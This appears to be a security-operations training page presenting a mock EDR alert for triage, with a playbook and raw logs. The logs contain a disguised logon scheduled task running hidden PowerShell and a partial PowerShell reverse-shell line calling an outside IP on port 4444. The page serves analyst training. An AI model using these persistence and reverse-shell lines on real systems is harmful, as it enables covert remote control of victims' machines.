Skip to main content
Tier One
High

Scheduled task created to run a script at every logon

A-1066

00:00time on this alert, target 10 minutes

Back to queue

Alert details

Source
EDR
Detection rule
EDR-PERSIST-SCHTASK-007
Affected user
j.rivera
Affected host
WKS-FINANCE-14
Source IP
—
First seen
2026-07-24T17:36:00Z

Why this fired, in plain English

A new scheduled task was created that runs automatically whenever someone logs in — a common way for malware to survive a reboot.

Suggested playbook

Suspicious PowerShell execution

  1. 1. Decode any base64 in the command line and read the actual script.
  2. 2. Check the parent process. ccmexec.exe or services.exe is usually management; WINWORD.EXE is not.
  3. 3. Check whether the script file is signed, and by whom.
  4. 4. Look for outbound connections made by powershell.exe and whether they were blocked.
Open the full checklist

Raw log evidence

Exactly what the tools recorded — 3 events.

  1. Guided hint: this line matters

    ts=2026-07-24T17:35:02Z host=WKS-FINANCE-14 EventID=4698 task_name="\\Microsoft\\Windows\\UpdateOrchestrator\\SysHealth" author="northwind\\j.rivera" trigger="AtLogon" action="powershell.exe -nop -w hidden -f C:\\Users\\Public\\sh.ps1"

    4698 = a scheduled task was created. The name imitates a real Microsoft task path.

  2. Guided hint: this line matters

    ts=2026-07-24T17:35:03Z host=WKS-FINANCE-14 sensor=edr event=file_write path="C:\\Users\\Public\\sh.ps1" sha256=ab77c4d19e6f0f5c1c2d8b3e9a04f7e6d5c4b3a291807f6e5d4c3b2a19087f6e signed=false

  3. Guided hint: this line matters

    ts=2026-07-24T17:35:44Z host=WKS-FINANCE-14 sensor=edr event=script_content snippet="$c=New-Object Net.Sockets.TCPClient('91.203.5.88',4444);$s=$c.GetStream()"

    This is a reverse shell: it opens a connection back to the attacker so they can type commands on this machine.

Related events

The order things happened in.

  1. 17:35Z

    Hidden PowerShell script dropped

  2. 17:35Z

    Logon-triggered scheduled task created

Enrichment lookups

Mock lookups. Run each one yourself — a real analyst never guesses what a lookup would have said. There is no "run everything" button on purpose.

0 of 4 lookups checked

  • Not checked yet.

  • Not checked yet.

  • Not checked yet.

  • Not checked yet.

techniques

Your verdict

Keyboard shortcuts 1–4, or click. You can always change your mind afterwards.